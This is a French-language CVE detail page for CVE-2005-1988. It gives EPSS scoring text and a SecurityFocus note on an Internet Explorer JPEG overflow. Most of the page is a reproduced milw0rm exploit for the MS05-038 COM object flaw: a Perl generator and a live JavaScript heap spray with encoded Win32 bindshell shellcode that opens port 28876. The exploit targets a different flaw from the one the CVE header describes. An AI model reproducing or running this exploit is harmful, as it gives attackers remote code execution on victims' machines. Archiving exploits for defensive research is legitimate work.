CVE-2005-1988 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/14282/info Microsoft Internet Explorer is prone to a buffer overflow vulnerability in the JPEG image rendering library used by the browser. This issue is due to a failure of the application to properly bounds check input data prior to copying it to a fixed size memory buffer. This issue was identified by creating random input for the browser, and has not been researched further at this time. This BID will be updated as further information is disclosed. Successful exploitation may result in execution of arbitrary code in the context of the user executing the affected browser. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25992-1.jpg

<!-- placed into html for your testing. /str0ke #!/usr/bin/perl ####################################################### # # Internet Explorer COM Objects Instantiation Proof of Concept Exploit (MS05-038) # # Bindshell on port 28876 - Based and ripped from Berend-Jan Wever's IE Exploit # # Vulnerable Objects : # # 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5 (blnmgr.dll) <- Exploited here # 860BB310-5D01-11D0-BD3B-00A0C911CE86 (devenum.dll) # E0F158E1-CB04-11D0-BD4E-00A0C911CE86 (devenum.dll) # 33D9A761-90C8-11D0-BD43-00A0C911CE86 (devenum.dll) # 4EFE2452-168A-11D1-BC76-00C04FB9453B (devenum.dll) # 33D9A760-90C8-11D0-BD43-00A0C911CE86 (devenum.dll) # 33D9A762-90C8-11D0-BD43-00A0C911CE86 (devenum.dll) # 083863F1-70DE-11D0-BD40-00A0C911CE86 (devenum.dll) # 18AB439E-FCF4-40D4-90DA-F79BAA3B0655 (diactfrm.dll) # 31087270-D348-432C-899E-2D2F38FF29A0 (wmm2filt.dll) # D2923B86-15F1-46FF-A19A-DE825F919576 (fsusd.dll) # FD78D554-4C6E-11D0-970D-00A0C9191601 (dmdskmgr.dll) # 52CA3BCF-3B9B-419E-A3D6-5D28C0B0B50C (browsewm.dll) # 01E04581-4EEE-11D0-BFE9-00AA005B4383 (browseui.dll) # AF604EFE-8897-11D1-B944-00A0C90312E1 (browseui.dll) # 7849596A-48EA-486E-8937-A2A3009F31A9 (shell32.dll) # FBEB8A05-BEEE-4442-804E-409D6C4515E9 (shell32.dll) # 3050F391-98B5-11CF-BB82-00AA00BDCE0B (mshtml.dll) # 8EE42293-C315-11D0-8D6F-00A0C9A06E1F (inetcfg.dll) # 2A6EB050-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # 510A4910-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # 6D36CE10-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # 860D28D0-8BF4-11CE-BE59-00AA0051FE20 (infosoft.dll) # 9478F640-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # B0516FF0-7F1C-11CE-BE57-00AA0051FE20 (infosoft.dll) # D99F7670-7F1A-11CE-BE57-00AA0051FE20 (infosoft.dll) # EEED4C20-7F1B-11CE-BE57-00AA0051FE20 (infosoft.dll) # C7B6C04A-CBB5-11D0-BB4C-00C04FC2F410 (query.dll) # 85BBD920-42A0-1069-A2E4-08002B30309D (syncui.dll) # E846F0A0-D367-11D1-8286-00A0C9231C29 (clbcatex.dll) # B4B3AECB-DFD6-11D1-9DAA-00805F85CFE3 (clbcatq.dll) # ECABB0BF-7F19-11D2-978E-0000F8757E2A (comsvcs.dll) # 466D66FA-9616-11D2-9342-0000F875AE17 (msconf.dll) # 67DCC487-AA48-11D1-8F4F-00C04FB611C7 (msdtctm.dll) # 00022613-0000-0000-C000-000000000046 (mmsys.cpl # D2D588B5-D081-11D0-99E0-00C04FC2F8EC (wmiprov.dll) # 5D08B586-343A-11D0-AD46-00C04FD8FDFF (wbemess.dll) # CC7BFB42-F175-11D1-A392-00E0291F3959 (qedit.dll) # CC7BFB43-F175-11D1-A392-00E0291F3959 (qedit.dll) # # Tested on : # Internet Explorer 6 on Microsoft Windows XP SP2 # # Usage : perl MS05-038.pl > mypage.html # ####################################################### # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2, 1991 as published by # the Free Software Foundation. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # A copy of the GNU General Public License can be found at: # http://www.gnu.org/licenses/gpl.html # or you can write to: # Free Software Foundation, Inc. # 59 Temple Place - Suite 330 # Boston, MA 02111-1307 # USA. # ####################################################### # header my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n"; # Win32 bindshell (port 28876) - SkyLined my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb". "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea". "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7". "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b". "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64". "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c". "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe". "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0". "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050". "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6". "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650". "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa". "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656". "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1". "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353". "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353". "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe". "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff". "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n"; # Memory my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n". "headersize = 20;\n". "slackspace = headersize+shellcode.length\n". "while (bigblock.length<slackspace) bigblock+=bigblock;\n". "fillblock = bigblock.substring(0, slackspace);\n". "block = bigblock.substring(0, bigblock.length-slackspace);\n". "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n". "memory = new Array();\n". "for (i=0;i<750;i++) memory[i] = block + shellcode;\n". "</SCRIPT>\n"; # blnmgr.dll my $clsid = '3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5'; # footer my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n". "Microsoft Internet Explorer blnmgr.dll COM Object Remote Exploit\n". "</body><script>location.reload();</script></html>"; # print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin print "$header $shellcode $code $footer"; --> <SCRIPT language="javascript"> shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb"); bigblock = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<750;i++) memory[i] = block + shellcode; </SCRIPT> <object classid="CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5"></object> Microsoft Internet Explorer blnmgr.dll COM Object Remote Exploit # milw0rm.com [2005-08-09]